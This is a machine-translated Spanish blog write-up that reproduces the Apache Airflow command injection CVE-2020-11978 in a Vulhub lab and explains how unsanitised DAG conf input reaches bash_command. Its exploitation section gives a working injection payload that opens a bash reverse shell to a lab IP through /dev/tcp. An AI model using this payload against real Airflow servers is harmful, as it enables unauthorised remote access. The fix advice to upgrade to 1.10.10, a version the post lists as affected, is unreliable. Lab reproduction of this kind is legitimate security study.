CVE-2020-11978 Análisis y explotación de vulnerabilidad de inyección de comandos de Apache Airflow

Introducción

  • Software vulnerable: Apache Airflow
  • Versiones afectadas: <= 1.10.10

ambiente

  • Rango de pruebas de vulnerabilidad de Vulhub

Pasos de reproducción

  • Ingrese al directorio /root/vulhub/airflow/CVE-2020-11978/
  • Ejecute el siguiente comando para iniciar el entorno.
# 初始化数据库
docker compose run airflow-init
# 开启服务
docker compose up -d
  • Acceda al servidor-ip: 8080 en el cliente
    Insertar descripción de la imagen aquí
  • Busque example_trigger_target_dag y actívelo (gráfico acíclico dirigido) y luego cambie al estado "Activado"
    Insertar descripción de la imagen aquí
  • Haga clic en el siguiente botón en el lado derecho de esta columna
    Insertar descripción de la imagen aquí
  • Ingrese los siguientes caracteres y haga clic en el botón Activar
    Insertar descripción de la imagen aquí
  • Después de hacer clic en Finalizar, se creará el archivo airflow_dag_success_touch_file en el directorio /tmp. Utilice los siguientes comandos para consultar y verificar en el contenedor.
    Insertar descripción de la imagen aquí

razón

  • De forma predeterminada, la interfaz de usuario web de Airflow no está autorizada para el acceso y puede iniciar sesión directamente. Después de iniciar sesión, solo puede ver el estado de programación del DAG, etc., y no puede realizar más operaciones.
  • Sin embargo, Airflow Web UI proporciona la función de activar la ejecución de DAG para probar DAG. Al mismo tiempo, Airflow permite a los usuarios familiarizarse rápidamente con su proceso y funciones de desarrollo de DAG. Para mejores ejemplos, estos DAG cubren la mayoría de los ejecutores.
  • La combinación de dos DAG puede desencadenar la inyección de comandos y provocar vulnerabilidades. Como se muestra a continuación, un DAG (example_trigger_controller_dag) se utiliza para llamar dinámicamente a otro DAG (example_trigger_target_dag).
#airflow/example_dags/example_trigger_target_dag.py
1. 1st DAG (example_trigger_controller_dag) 持有一个 TriggerDagRunOperator,它将触发第二个 DAG
#airflow/example_dags/example_trigger_controller_dag.py
2. 2nd DAG (example_trigger_target_dag) 它将由第一个 DAG 中的 TriggerDagRunOperator 触发
  • Es decir, bash_command='echo "Aquí está el mensaje:' { { dag_run.conf["message"] si dag_run else "" }} se activa mediante conf={"message": "Hello World"} definido internamente en example_trigger_target_dag . '"' operación
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
  • Según la información anterior, se puede ver que la entrada dag_run.conf ["mensaje"] se pasa desde el primer DGA y parece ser incontrolable. De hecho, si está familiarizado con los códigos relacionados con Airflow, encontrará que DAG Run en Airflow es un objeto que representa la creación de instancias de DAG en el tiempo, y conf es la forma de pasar parámetros. Airflow proporciona múltiples canales para modificar conf, incluido la línea de comando, por ejemplo:
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag

usar

  • kali abierto nc
    Insertar descripción de la imagen aquí
  • Ingrese el siguiente mensaje y active el DAG
#socket 连接
{
    
    "message":"'\";bash -i >& /dev/tcp/10.10.1.7/6666 0>&1;#"}
  • conexión exitosa
    Insertar descripción de la imagen aquí

facilidad

  • Después de actualizar a la versión 1.10.10

  • Eliminar o deshabilitar DAG. Puede eliminarlo usted mismo o deshabilitar el valor predeterminado DAGload_examples=False en el archivo de configuración.

  • referencia

  • Detalles del entorno de vulnerabilidad de Vulhub: https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-11978&scoretype=cvssv3

  • Inyección de comando (csdn) en Airflow dag: https://xz.aliyun.com/t/8037

Supongo que te gusta

Origin blog.csdn.net/qq_38924942/article/details/133420863
Recomendado
Clasificación